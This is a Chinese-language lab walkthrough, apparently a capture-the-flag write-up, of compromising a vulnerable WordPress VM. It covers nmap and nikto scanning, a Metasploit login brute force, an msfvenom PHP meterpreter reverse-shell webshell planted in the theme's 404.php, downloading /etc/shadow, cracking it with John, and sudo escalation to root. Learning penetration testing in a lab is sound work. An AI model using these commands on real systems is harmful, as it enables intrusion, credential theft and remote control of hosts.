1.信息探测
#扫描主机服务信息以及服务版本
nmap -sV 192.168.2.108
#快速扫描主机全部信息
nmap -T4 -A -v 192.168.2.108
#探测敏感信息
nikto -host http://192.168.2.108
dirb http://192.168.2.108
2.深入挖掘
分析nmap、nikto扫描结果,分析挖掘可以利用的信息
查看http敏感页面
由于服务器跳转的页面无法访问,尝试制定解析到IP
http://vtcsec/secret/wp-login.php
#编辑hosts文件,制定域名解析到靶场IP
gedit /etc/hosts
192.168.2.108 vtcsec
3.暴力破解
对登录网页进行用户名探测
(kali中的wpscan打不开不知道为什么)
wpscan --url vtcsec/secret/ --enumerate u
用户名探测为admin
msfconsole
>use auxiliary/scanner/http/wordpress_login_enum
>set username admin
>set pass_file /usr/share/wordlists/dirb/common.txt
>set targeturi /secret/
>set rhosts 192.168.2.108
>run
结果:
4.上传webshell获取控制权
制作webshell
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.2.110 lport=4444
twentyseventeen 的404.php可以上传webshell
监听4444端口
> use exploit/multi/handler
> set payload php/meterpreter/reverse_tcp
> set lhost 192.168.2.110
> run
执行shell,获取反弹shell
http://vtcsec/secret/wp-content/themes/twentyseventeen/404.php
查看系统信息,用户权限
5.root权限
利用返回shell下载
download /etc/passwd
download /etc/shadow
将文件转换为john可识别的格式
unshadow passwd shadow > cracked
使用john破解密码
john cracked
启动终端
python -c "import pty;pty.spawn('/bin/bash')"
#登录用户
su - marlinspike
#提权
sudo -l
sudo bash
6.总结
提权时可以抓取/etc/passwd和/etc/shadow,之后使用john来破解对应密码,使用用户名密码提权
对于wp渗透中,启动对应的主题,在404页面上传webshell